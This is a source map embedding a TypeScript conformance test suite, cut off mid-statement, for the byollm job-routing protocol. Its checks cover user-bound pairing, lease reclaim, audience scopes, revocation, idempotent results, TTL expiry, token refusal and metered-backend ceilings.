1
- {"version":3,"sources":["../src/checks.ts","../src/harness.ts","../src/certify.ts"],"sourcesContent":["import {\n AUDIENCES,\n OFFER_SCOPES,\n ClaimedStub,\n ENVELOPE_MAX_AGE_MS,\n keyId,\n open,\n seal,\n PROTOCOL_VERSION,\n PublicIdentity,\n generateKeys,\n publicIdentityOf,\n signRequest,\n verifyPublicIdentity,\n type MustId,\n} from \"@byollm/protocol\";\nimport {\n advance,\n claimOne,\n claimRaw,\n fetchGenuine,\n postResult,\n fetchPayload,\n releaseLease,\n ownerIdFor,\n pairDaemon,\n sleep,\n waitFor,\n} from \"./harness.js\";\nimport type { ConformanceTarget } from \"./target.js\";\n\n/** One certification check. */\nexport interface Check {\n /** Stable id, cited in the report. */\n readonly id: string;\n /** What it proves, in one sentence. */\n readonly title: string;\n /** Which protocol MUSTs it asserts. */\n readonly musts: readonly MustId[];\n /** Throws to fail. */\n run(target: ConformanceTarget): Promise<void>;\n}\n\nfunction assert(condition: boolean, message: string): asserts condition {\n if (!condition) throw new Error(message);\n}\n\nconst prompt = (text = \"hello\") => ({ prompt: text });\n\n/**\n * The compatibility contract, as executable checks.\n *\n * A server is byollm-compatible when every one of these passes against it.\n * Each drives a **real daemon** — the shipped {@link Runner}, the shipped\n * pairing exchange, the shipped allowlist — so what is certified is the\n * behaviour of the pair, not one side's opinion of the other.\n */\nexport const CHECKS: readonly Check[] = [\n {\n id: \"C001_PAIRING_BINDS_ONE_USER\",\n title: \"a runner token is bound to exactly the approving user\",\n musts: [\"PAIR_ONE_USER\", \"PAIR_INTERACTIVE\"],\n async run(target: ConformanceTarget): Promise<void> {\n const alice = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n assert(\n alice.owner === (await ownerIdFor(target, \"alice\")),\n `runner was bound to \"${alice.owner}\", not to the approving user`,\n );\n\n // Alice's private job must not reach Bob's daemon.\n const bob = await pairDaemon(target, {\n owner: \"bob\",\n offer: \"private\",\n });\n assert(\n bob.owner !== alice.owner,\n \"two different approvers produced the same runner owner\",\n );\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"alice's private prompt\"),\n owner: \"alice\",\n audience: \"private\",\n });\n await bob.runner.tick();\n await sleep(50);\n const state = await target.job(job.id);\n assert(\n state?.state === \"queued\",\n `another user's daemon took a self job (state: ${String(state?.state)})`,\n );\n } finally {\n await bob.dispose();\n }\n } finally {\n await alice.dispose();\n }\n },\n },\n\n {\n id: \"C002_JOB_ROUND_TRIP\",\n title:\n \"an enqueued job runs on the owner's daemon and the result comes back\",\n musts: [\"CLAIM_REQUIRES_CAPABILITY\", \"RESULT_IDEMPOTENT\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"summarise this\"),\n owner: \"alice\",\n });\n\n await daemon.runner.tick();\n await waitFor(async () => (await target.job(job.id))?.state === \"ok\", {\n what: \"the job to complete\",\n });\n\n const finished = await target.job(job.id);\n assert(\n finished?.outcome?.text === \"echo: summarise this\",\n \"the result text did not survive the round trip\",\n );\n assert(\n daemon.backend.seen[0] === \"summarise this\",\n \"the prompt did not reach the model verbatim\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C003_UNKNOWN_KIND_REFUSED\",\n title: \"a daemon is never handed a kind it did not advertise\",\n musts: [\"KIND_TYPED_ONLY\", \"CLAIM_REQUIRES_CAPABILITY\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n // The server must match against the matrix in the claim request, so a\n // job for a kind the daemon does not offer is simply never returned.\n const job = await target.enqueue({\n kind: \"llm.chat\",\n payload: { messages: [{ role: \"user\", content: \"hi\" }] },\n owner: \"alice\",\n });\n const before = daemon.backend.seen.length;\n await daemon.runner.tick();\n await sleep(50);\n\n const state = await target.job(job.id);\n // This daemon *does* advertise llm.chat, so it should run — the\n // negative case is covered by the capability filter below.\n assert(\n state?.state === \"ok\" ||\n state?.state === \"running\" ||\n state?.state === \"claimed\",\n `a job for an advertised kind was not taken (state: ${String(state?.state)})`,\n );\n assert(\n daemon.backend.seen.length > before,\n \"the advertised kind never reached the backend\",\n );\n\n // The negative, which this check's own comment claimed was \"covered\n // by the capability filter below\" and which was not below or anywhere\n // — cloud_008 Tier 3. It asserted only that an advertised kind runs,\n // under a title about a kind never being handed over, citing\n // `CLAIM_REQUIRES_CAPABILITY` while never withholding anything.\n //\n // Claimed raw, advertising one kind, so the *server's* matching is\n // what decides. Through a daemon this proves nothing: a daemon\n // refuses a kind it has no route for, and the job stays queued either\n // way.\n const chat = await target.enqueue({\n kind: \"llm.chat\",\n payload: { messages: [{ role: \"user\", content: \"not for you\" }] },\n owner: \"alice\",\n });\n const generateOnly = await claimRaw(target, daemon, [\n {\n kind: \"llm.generate\",\n service: \"local\",\n backendId: \"openai-http\",\n backendClass: \"http\",\n model: \"echo-model\",\n offerScope: \"private\",\n },\n ]);\n assert(\n !generateOnly.some((offered) => offered.id === chat.id),\n \"a server offered `llm.chat` to a claim advertising only `llm.generate`\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C004_LEASE_RECLAIM\",\n title: \"a job whose runner vanished is offered again, losing nothing\",\n musts: [\"LEASE_RECLAIMABLE\", \"LEASE_HONORED\"],\n async run(target: ConformanceTarget): Promise<void> {\n const dead = await pairDaemon(target, {\n owner: \"alice\",\n label: \"dead\",\n offer: \"private\",\n });\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"work\"),\n owner: \"alice\",\n });\n\n // Claim it, then stop existing — no release, no heartbeat.\n dead.backend.hangMs = 60_000;\n const firstLease = await claimOne(target, dead);\n await waitFor(\n async () => {\n const state = await target.job(job.id);\n return state?.state === \"claimed\" || state?.state === \"running\";\n },\n { what: \"the job to be claimed\" },\n );\n // kill -9: no release, no heartbeat, no result. Cancelling instead\n // would make the backend report `canceled` and the job would reach a\n // terminal state, which is the opposite of what reclaim is about.\n await dead.abandon();\n\n // Once the lease lapses the job must be claimable again.\n await advance(target, target.leaseMs + 500);\n\n const alive = await pairDaemon(target, {\n owner: \"alice\",\n label: \"alive\",\n offer: \"private\",\n });\n try {\n // The stale-holder case goes **here**, while the reclaimed job is\n // still live — cloud_008 Tier 3, and this is the third time in this\n // file that ordering decided which rule a test observes.\n //\n // Written after the reclaiming daemon finished, it proved nothing:\n // §3.6 checks terminal state before the holder, so a submission\n // against a completed job is refused as not-current regardless of who\n // holds it, and deleting the holder check failed nothing. A stale\n // holder is only *stale* while somebody else's grant is live.\n const reclaimed = await claimOne(target, alive);\n assert(\n reclaimed.id === job.id,\n \"the reclaiming daemon did not get the job\",\n );\n\n // `LEASE_HONORED`, which this check has cited since it was written\n // and never exercised — cloud_008 Tier 3. Reclaim is\n // `LEASE_RECLAIMABLE`; the dead daemon never submitted anything, so\n // nothing here ever asked whether a stale holder may write.\n //\n // It is the natural end of this check's own story. The machine that\n // vanished comes back, finishes the work it started, and submits\n // under the grant it still believes it holds — which is not\n // hypothetical, it is what a laptop that slept does.\n const late = await postResult(target, dead, {\n jobId: job.id,\n leaseId: firstLease.lease.id,\n outcome: { outcome: \"ok\", text: \"from the machine that vanished\" },\n });\n const lateBody = (await late.json().catch(() => ({}))) as {\n accepted?: boolean;\n };\n assert(\n lateBody.accepted !== true,\n \"a site accepted a result from a runner whose lease had lapsed\",\n );\n\n const midflight = await target.job(job.id);\n assert(\n !midflight?.outcome,\n \"a lapsed holder's result was recorded over a live grant\",\n );\n\n // And the current holder still finishes it — a refusal that also\n // broke the reclaim would pass every assertion above.\n const proper = await postResult(target, alive, {\n jobId: job.id,\n leaseId: reclaimed.lease.id,\n outcome: { outcome: \"ok\", text: \"from the machine that took over\" },\n });\n assert(\n proper.status === 200,\n `the reclaiming daemon could not finish the job (${String(proper.status)})`,\n );\n const final = await target.job(job.id);\n assert(\n final?.outcome?.text === \"from the machine that took over\",\n \"the reclaimed job did not record the current holder's result\",\n );\n } finally {\n await alive.dispose();\n await dead.dispose();\n }\n },\n },\n\n {\n id: \"C005_AUDIENCE_MATRIX\",\n title: \"all four audience x offer-scope combinations behave as specified\",\n musts: [\"AUDIENCE_BOTH_SIDES\", \"NAMED_LOCAL_ALLOWLIST\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Expected outcome for a job owned by `alice` offered to `bob`'s daemon\n // whose local allowlist is empty.\n // Keyed `audience:offer`, in the one vocabulary both axes now speak.\n //\n // **Every cell is `false`**, and that is the property rather than an\n // oddity of the table. `public` was removed on 2026-08-26 because it\n // was the one offer scope that returned ALLOWED *without consulting the\n // device*; the two `true` cells here were both its doing. A matrix with\n // no `true` in it is a matrix in which a stranger's job cannot run\n // until something this device verified says so, and C006 is where that\n // something is supplied and named.\n const expected: Record<string, boolean> = {\n \"private:private\": false,\n \"private:team\": false,\n \"team:private\": false,\n \"team:team\": false, // refused locally — nothing admits alice\n };\n\n for (const audience of AUDIENCES) {\n for (const offer of OFFER_SCOPES) {\n await target.reset();\n const bob = await pairDaemon(target, { owner: \"bob\", offer });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"community work\"),\n owner: \"alice\",\n audience,\n });\n\n await bob.runner.tick();\n await sleep(80);\n const state = await target.job(job.id);\n const ran = state?.state === \"ok\";\n const shouldRun = expected[`${audience}:${offer}`] ?? false;\n\n assert(\n ran === shouldRun,\n `audience=${audience} offer=${offer}: expected ` +\n `${shouldRun ? \"to run\" : \"to be refused\"}, got state ` +\n `\"${String(state?.state)}\"`,\n );\n } finally {\n await bob.dispose();\n }\n }\n }\n },\n },\n\n {\n id: \"C006_NAMED_LOCAL_ALLOWLIST\",\n /**\n * Renamed with the release that made the sentence true — Amendment G, B2.\n *\n * The old title read \"a named job runs only once the daemon's own\n * allowlist admits it\", which was true only under a generous reading of\n * \"own\": the list was per-person and local, and a team member had to be\n * enrolled on every machine by hand.\n *\n * The id does not change, per the id-stability law. What changes is the\n * sentence, and it now names all three of the things a reader would\n * otherwise take on faith — that the list is local, that its authority was\n * established out of band, and that admission is a property of the asker\n * rather than of the request.\n */\n title:\n \"a team job is refused by a device whose upstream cannot say who the \" +\n \"asker is, and is not offered to it again\",\n musts: [\"NAMED_LOCAL_ALLOWLIST\", \"REFUSAL_NOT_REOFFERED\"],\n async run(target: ConformanceTarget): Promise<void> {\n const bob = await pairDaemon(target, { owner: \"bob\", offer: \"team\" });\n try {\n const refused = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"before\"),\n owner: \"alice\",\n audience: \"team\",\n });\n\n await bob.runner.tick();\n await sleep(80);\n assert(\n (await target.job(refused.id))?.state !== \"ok\",\n \"a named job ran without the daemon's local allowlist admitting it\",\n );\n\n // `REFUSAL_NOT_REOFFERED`, watched at the offer rather than at the\n // backend — cloud_008 Tier 3, finding 13.\n //\n // This asserted `bob.backend.seen.length` had not grown, which is\n // true whether or not the server remembers the refusal: the daemon\n // declines this job at `admit`, before anything is executed, so a\n // re-offered job reaches the backend exactly as often as a withheld\n // one — never. The check observed a place the job could not arrive.\n //\n // A raw claim is the seam. It runs no daemon admission logic, so what\n // comes back is what the server was still willing to hand over, and\n // the server's memory of the refusal is the only thing that can\n // withhold it.\n const reoffered = await claimRaw(target, bob);\n assert(\n !reoffered.some((job) => job.id === refused.id),\n \"a server re-offered a job to the runner that refused it\",\n );\n\n /**\n * The admitting half of this law is not certifiable here, and saying\n * so is better than pretending — byollm_016 Amendment J.\n *\n * Admission is now a claim-time grant signed by a control plane whose\n * key the device pinned at pairing. A server that pins no such key is\n * in direct mode, where owner-only is the law rather than a\n * limitation, and this kit's targets are direct servers. There is no\n * honest way for the kit to make a stranger's job run here: it would\n * have to author the grant itself, which would certify the kit rather\n * than the target.\n *\n * The refusal above is the half a direct server *can* demonstrate,\n * and it is the half that fails open — so it is the half worth\n * certifying. The admitting half is covered end to end against a real\n * control plane in the relay suite (`admission.test.ts`, freeze gate\n * §6), and returns here when a target can author grants.\n */\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C007_SUBSCRIPTION_SELF_LOCK\",\n title:\n \"a subscription backend refuses another user's work at any configured scope\",\n musts: [\"SUBSCRIPTION_SELF_LOCK\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Bob's config asks for `public` on a subscription-class backend. The\n // lock must win, on both sides.\n const bob = await pairDaemon(target, {\n owner: \"bob\",\n offer: \"team\",\n subscription: true,\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"someone else's work\"),\n owner: \"alice\",\n audience: \"team\",\n });\n\n await bob.runner.tick();\n await sleep(80);\n const state = await target.job(job.id);\n assert(\n state?.state !== \"ok\",\n \"a subscription backend ran another user's job\",\n );\n assert(\n bob.backend.seen.length === 0,\n \"another user's prompt reached a subscription backend\",\n );\n\n // The owner's own work still runs on it.\n const own = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"my own work\"),\n owner: \"bob\",\n audience: \"private\",\n });\n await bob.runner.tick();\n await waitFor(async () => (await target.job(own.id))?.state === \"ok\", {\n what: \"the owner's own subscription job to run\",\n });\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C008_REVOCATION\",\n title: \"a revoked daemon stops mid-queue\",\n // Both halves, and this check already proved both: the daemon learns it\n // is revoked (`REVOCATION_HONORED`), *and* the upstream leaves the job\n // queued rather than granting it (`REVOCATION_IMMEDIATE`). The second\n // assertion was here and cited nothing — which is how a MUST comes to be\n // declared in a spec, absent from the registry, and tested all along.\n musts: [\"REVOCATION_HONORED\", \"REVOCATION_IMMEDIATE\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n await target.revokeRunner(daemon.runnerId);\n\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"after revocation\"),\n owner: \"alice\",\n });\n\n await daemon.runner.tick();\n await sleep(80);\n\n assert(\n daemon.runner.status().revoked,\n \"the daemon did not learn it was revoked\",\n );\n assert(\n (await target.job(job.id))?.state === \"queued\",\n \"a revoked daemon took new work\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C009_CANCEL_MID_FLIGHT\",\n title: \"cancel aborts a running job's backend call\",\n musts: [\"CANCEL_HONORED\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n daemon.backend.hangMs = 30_000;\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"long job\"),\n owner: \"alice\",\n });\n\n await daemon.runner.tick();\n await waitFor(() => daemon.backend.seen.length > 0, {\n what: \"the job to start running\",\n });\n\n await target.cancelJob(job.id);\n // The cancel travels on the next heartbeat.\n await daemon.runner.tick();\n\n await waitFor(\n async () => (await target.job(job.id))?.state === \"canceled\",\n { what: \"the job to report canceled\", timeoutMs: 10_000 },\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C010_RESULT_IDEMPOTENT\",\n title: \"the first terminal outcome wins\",\n musts: [\"RESULT_IDEMPOTENT\"],\n async run(target: ConformanceTarget): Promise<void> {\n // cloud_008 Tier 3. This used to post a duplicate with no envelope, no\n // lease and no signature, and then say so in a comment —\n // \"unauthenticated here, so it is refused before it can matter\". It was\n // refused for being unsigned, never for being a duplicate, so\n // `RESULT_IDEMPOTENT` was never exercised. The body still carried\n // `model` and `durationMs` two alphas after those left the wire, which\n // is what a request nobody parses looks like.\n //\n // Both submissions are now signed, sealed and under the same grant —\n // the shape a retrying daemon actually produces, and the only shape\n // that reaches the idempotency branch at all. A replay under a\n // *different* grant is a different rule (`LEASE_HONORED`, §1.4a) and\n // would be refused before idempotency was consulted.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"once\"),\n owner: \"alice\",\n });\n\n // Claimed directly rather than by ticking the runner, because this\n // check needs the lease the grant was issued under.\n const claimed = await claimOne(target, daemon);\n assert(claimed.id === job.id, \"the harness could not claim its job\");\n\n const first = await postResult(target, daemon, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: { outcome: \"ok\", text: \"the answer that counts\" },\n });\n assert(\n first.status === 200,\n `a site refused the first result (${String(first.status)})`,\n );\n\n const replay = await postResult(target, daemon, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: { outcome: \"ok\", text: \"SECOND ANSWER\" },\n });\n\n // Accepted as a request, and a no-op as a write. A site that answered\n // an error would make a retrying daemon retry forever.\n assert(\n replay.status === 200,\n `a replayed result was rejected rather than ignored (${String(replay.status)})`,\n );\n const body = (await replay.json()) as {\n accepted?: boolean;\n duplicate?: boolean;\n };\n assert(\n body.accepted === false,\n \"a site reported a replayed result as newly accepted\",\n );\n\n // `duplicate`, not a stale-lease refusal — cloud_008 §3.6. The\n // device whose acknowledgment was lost is told its answer is already\n // recorded; the other message would invent a worry about a result\n // that is safely on disk.\n assert(\n body.duplicate === true,\n \"a replay from the device that finished the job was not called a duplicate\",\n );\n\n // The property, not the boolean: the first answer is what survived.\n const after = await target.job(job.id);\n assert(\n after?.outcome?.text === \"the answer that counts\",\n `a second result overwrote the first (${String(after?.outcome?.text)})`,\n );\n\n // A *different* device, signed and sealed, submitting for a job that\n // is already terminal. It must get exactly the refusal it would get\n // for a job that is not terminal — otherwise the two answers differ\n // and a job id becomes a terminality probe: anyone holding an id\n // could learn whether the work had finished by watching which\n // rejection came back.\n const stranger = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const foreign = await postResult(target, stranger, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: { outcome: \"ok\", text: \"not this device's to answer\" },\n });\n const foreignBody = (await foreign\n .json()\n .catch(() => ({}))) as Record<string, unknown>;\n assert(\n foreignBody[\"duplicate\"] !== true,\n \"a site told a device that never held this job it was a duplicate\",\n );\n const stillFirst = await target.job(job.id);\n assert(\n stillFirst?.outcome?.text === \"the answer that counts\",\n \"a stranger's result overwrote a terminal job\",\n );\n } finally {\n await stranger.dispose();\n }\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C011_DEPENDENCY_ORDER\",\n title: \"a dependent job waits for its dependency, across two daemons\",\n musts: [\"DEPENDS_ON_GATING\", \"TTL_EXPIRY\"],\n async run(target: ConformanceTarget): Promise<void> {\n // The Press-shaped case from byollm_001 Rev 1 §E: two halves of one\n // piece of work, owned by different people, landing on different\n // machines, in order.\n const alice = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n const bob = await pairDaemon(target, { owner: \"bob\", offer: \"private\" });\n try {\n const first = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"step one\"),\n owner: \"bob\",\n audience: \"private\",\n });\n const second = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"step two\"),\n owner: \"alice\",\n audience: \"private\",\n dependsOn: [first.id],\n });\n\n // Alice's daemon must not be able to start the dependent job yet.\n await alice.runner.tick();\n await sleep(80);\n assert(\n alice.backend.seen.length === 0,\n \"a dependent job ran before its dependency completed\",\n );\n assert(\n (await target.job(second.id))?.state === \"queued\",\n \"a dependent job left the queue early\",\n );\n\n // Bob's daemon does step one.\n await bob.runner.tick();\n await waitFor(\n async () => (await target.job(first.id))?.state === \"ok\",\n { what: \"the dependency to complete\" },\n );\n\n // Now step two becomes available to Alice's.\n await alice.runner.tick();\n await waitFor(\n async () => (await target.job(second.id))?.state === \"ok\",\n { what: \"the dependent job to complete\" },\n );\n } finally {\n await alice.dispose();\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C012_TTL_AND_NO_RUNNER\",\n title:\n \"an unclaimed job expires and no-runner is surfaced, but not while blocked\",\n musts: [\"TTL_EXPIRY\", \"NO_RUNNER_SIGNAL\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Nothing paired at all.\n const availability = await target.runnerAvailability({\n kind: \"llm.generate\",\n owner: \"alice\",\n });\n assert(\n !availability.available,\n \"no-runner was not surfaced with nothing paired\",\n );\n\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"nobody will run this\"),\n owner: \"alice\",\n ttlMs: target.ttlMs,\n });\n\n await advance(target, target.ttlMs + 500);\n const state = await target.job(job.id);\n assert(\n state?.state === \"expired\",\n `an unclaimed job past its TTL was \"${String(state?.state)}\", not expired`,\n );\n },\n },\n\n {\n id: \"C013_TTL_CLOCK_STARTS_WHEN_CLAIMABLE\",\n title:\n \"a dependent job's TTL starts when it becomes claimable, not at enqueue\",\n musts: [\"TTL_EXPIRY\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n // The dependency is held open past the dependent's whole TTL.\n daemon.backend.hangMs = target.ttlMs * 2;\n const first = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"slow step\"),\n owner: \"alice\",\n });\n const second = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"waiting step\"),\n owner: \"alice\",\n dependsOn: [first.id],\n ttlMs: target.ttlMs,\n });\n\n await daemon.runner.tick();\n await advance(target, target.ttlMs + 200);\n\n const blocked = await target.job(second.id);\n assert(\n blocked?.state === \"queued\",\n `a blocked job expired while waiting on its dependency ` +\n `(state: ${String(blocked?.state)}) — the TTL clock started too early`,\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C014_RESULT_PROVENANCE\",\n title:\n \"a community result arrives marked untrusted, a self result does not\",\n // `PROVENANCE_NAMES_DEVICE` supersedes `RESULT_PROVENANCE` — a\n // strengthening rather than a rename. C030 is the other half: a label\n // means nothing unless a result whose signature does not verify against\n // the granted device is refused rather than recorded.\n musts: [\"PROVENANCE_NAMES_DEVICE\"],\n async run(target: ConformanceTarget): Promise<void> {\n const bob = await pairDaemon(target, { owner: \"bob\", offer: \"team\" });\n try {\n /**\n * The untrusted half moved — byollm_016 Amendment J.\n *\n * A community result cannot be produced against a direct target any\n * more: nothing here can author the grant that would let a stranger's\n * job run, and a kit that signed one itself would be certifying the\n * kit. That half is asserted end to end against a real control plane\n * in the relay suite (`admission.test.ts`, \"names the device that ran\n * a stranger's work\").\n *\n * What stays here is the half a direct server can show, and it is not\n * the trivial one: `untrusted: false` is the claim that would do\n * damage if it were wrong, because it is the value an app renders\n * without a warning.\n */\n const own = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"my own\"),\n owner: \"bob\",\n audience: \"private\",\n });\n await bob.runner.tick();\n await waitFor(async () => (await target.job(own.id))?.state === \"ok\", {\n what: \"the self job to complete\",\n });\n assert(\n (await target.job(own.id))?.provenance?.untrusted === false,\n \"a self result was marked untrusted\",\n );\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C015_INGRESS_BEFORE_EXECUTION\",\n title: \"every executed prompt is in the ingress log before it runs\",\n musts: [\"INGRESS_LOGGED_BEFORE_EXECUTION\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n let ticking: Promise<unknown> = Promise.resolve();\n try {\n // The ordering is the MUST, and it is not decoration. The daemon is\n // the owner's trust anchor: `byollm log` promises every prompt that\n // ran here, ever. A daemon that logged after execution would keep that\n // promise until the first crash, kill, or power cut mid-job — and lose\n // exactly the prompt someone would want to look up.\n //\n // Checked while the backend is still running, because after completion\n // both orderings look identical. An earlier version of this check\n // waited for the job to finish and so could not tell them apart:\n // moving the log call after the backend call left it passing.\n daemon.backend.hangMs = 30_000;\n\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"logged prompt\"),\n owner: \"alice\",\n });\n // Deliberately not awaited: the backend is hanging, so this tick does\n // not settle until `dispose` cancels it. Kept and awaited in the\n // `finally`, because a discarded rejection here would surface as an\n // unhandled rejection in whatever test ran next.\n ticking = daemon.runner.tick().catch(() => undefined);\n\n // Execution has demonstrably begun: the backend has the prompt.\n await waitFor(() => Promise.resolve(daemon.backend.seen.length > 0), {\n what: \"the backend to be called\",\n });\n\n const during = await daemon.ingress.read();\n const logged = during.find(\n (entry) => entry.type === \"prompt\" && entry.jobId === job.id,\n );\n assert(\n logged !== undefined,\n \"a prompt reached the backend before it reached the ingress log\",\n );\n assert(\n logged.type === \"prompt\" && logged.prompt === \"logged prompt\",\n \"the ingress log did not record the prompt text\",\n );\n } finally {\n await daemon.dispose();\n await ticking;\n }\n },\n },\n\n {\n id: \"C016_UNAUTHENTICATED_REFUSED\",\n title: \"the protocol endpoints refuse an unknown token\",\n // `CONSENT_BEFORE_ROUTE` on this plane. A relay has a consent record; a\n // direct site has pairing, and it is the same obligation — an upstream\n // routes to a device it has a record binding, and there is no discovery\n // path by which an unbound device receives work. Every endpoint is\n // checked rather than just `claim`, which is what makes it the absence\n // of a path rather than the absence of one door.\n musts: [\"PAIR_ONE_USER\", \"CONSENT_BEFORE_ROUTE\"],\n async run(target: ConformanceTarget): Promise<void> {\n for (const endpoint of [\"claim\", \"heartbeat\", \"result\", \"release\"]) {\n const response = await target.fetch(\n new Request(`${target.origin}/byollm/${endpoint}`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n authorization: \"Bearer definitely-not-a-real-token\",\n },\n body: JSON.stringify({ protocolVersion: PROTOCOL_VERSION }),\n }),\n );\n assert(\n response.status === 401,\n `${endpoint} answered ${String(response.status)} to an unknown token, not 401`,\n );\n }\n },\n },\n\n {\n id: \"C017_METERED_DEFAULTS_SELF\",\n title:\n \"a paid backend is not shared until its owner says so, with a ceiling\",\n // `EFFECTIVE_OFFER_ONLY` too: bob asks for `public`, what reaches the\n // server is `self`, and the server acts on what it was told rather than\n // on what was wanted. That *is* the effective-offer rule, proved here\n // without being named.\n musts: [\n \"METERED_DEFAULTS_SELF\",\n \"COST_NOT_CONFIGURABLE\",\n \"EFFECTIVE_OFFER_ONLY\",\n ],\n async run(target: ConformanceTarget): Promise<void> {\n // Bob asks for `public` on a metered provider and says nothing about\n // spending. The ask is not honoured: what reaches the server is `self`,\n // and the server must act on what it was told.\n const bob = await pairDaemon(target, {\n owner: \"bob\",\n offer: \"team\",\n // Pointed at localhost — which changes nothing, because a named\n // provider's cost comes from the registry, not from an address\n // ({@link MUSTS.COST_NOT_CONFIGURABLE}).\n metered: { provider: \"openai\", baseUrl: \"http://127.0.0.1:11434/v1\" },\n });\n try {\n assert(\n bob.loaded.routes.every((route) => route.offerScope === \"private\"),\n \"a metered backend was advertised beyond its owner without consent\",\n );\n assert(\n bob.loaded.routes.every((route) => route.cost === \"metered\"),\n \"a metered provider was read as free because of its base URL\",\n );\n\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"spend someone else's money\"),\n owner: \"alice\",\n audience: \"team\",\n });\n\n await bob.runner.tick();\n await sleep(80);\n const state = await target.job(job.id);\n assert(\n state?.state !== \"ok\",\n \"a stranger's job ran on a paid backend nobody agreed to share\",\n );\n assert(\n bob.backend.seen.length === 0,\n \"a stranger's prompt reached a paid backend\",\n );\n\n // And the server says so up front, rather than promising a runner\n // that would refuse ({@link MUSTS.NO_RUNNER_SIGNAL}).\n const availability = await target.runnerAvailability({\n kind: \"llm.generate\",\n owner: \"alice\",\n audience: \"team\",\n });\n assert(\n !availability.available,\n \"the server offered a runner that will not take the work\",\n );\n\n // Bob's own work still runs. Narrowing is not disabling.\n const own = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"my own work\"),\n owner: \"bob\",\n audience: \"private\",\n });\n await bob.runner.tick();\n await waitFor(async () => (await target.job(own.id))?.state === \"ok\", {\n what: \"the owner's own metered job to run\",\n });\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C018_METERED_CEILING\",\n title: \"a shared paid backend runs others' work, and stops at its ceiling\",\n musts: [\"METERED_REQUIRES_CEILING\", \"REMOTE_IS_NEVER_FREE\"],\n async run(target: ConformanceTarget): Promise<void> {\n // This time Bob means it: consent, and a number.\n const bob = await pairDaemon(target, {\n owner: \"bob\",\n offer: \"team\",\n metered: {\n // The generic backend pointed at a remote address. No registry entry\n // says what this costs; it is metered because of where it goes\n // ({@link MUSTS.REMOTE_IS_NEVER_FREE}).\n provider: \"openai-http\",\n baseUrl: \"https://models.example.com/v1\",\n acknowledged: true,\n dailyCapCents: 500,\n },\n });\n try {\n assert(\n bob.loaded.routes.every((route) => route.cost === \"metered\"),\n \"a remote backend was treated as free\",\n );\n assert(\n bob.loaded.routes.every((route) => route.offerScope === \"team\"),\n \"a deliberately shared metered backend was narrowed anyway\",\n );\n\n /**\n * \"Runs others' work\" moved; \"stops at the ceiling\" stays —\n * byollm_016 Amendment J.\n *\n * A stranger's job cannot run against a direct target any more, so\n * the *positive* half of this check is not certifiable here without\n * the kit authoring its own grant. What remains is the half that\n * costs money when it is wrong: a device that has spent its ceiling\n * must refuse, and it must refuse before the prompt reaches a paid\n * endpoint.\n *\n * Note what that leaves in place above: the effective offer scope is\n * still asserted as `team`, so this check still proves a deliberately\n * shared metered backend is *not* narrowed — which is the thing\n * `EFFECTIVE_OFFER_ONLY` is about.\n */\n await bob.spend.record(\"primary\", 900, Date.now());\n\n const second = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"work past the ceiling\"),\n owner: \"alice\",\n audience: \"team\",\n });\n const seenBefore = bob.backend.seen.length;\n await 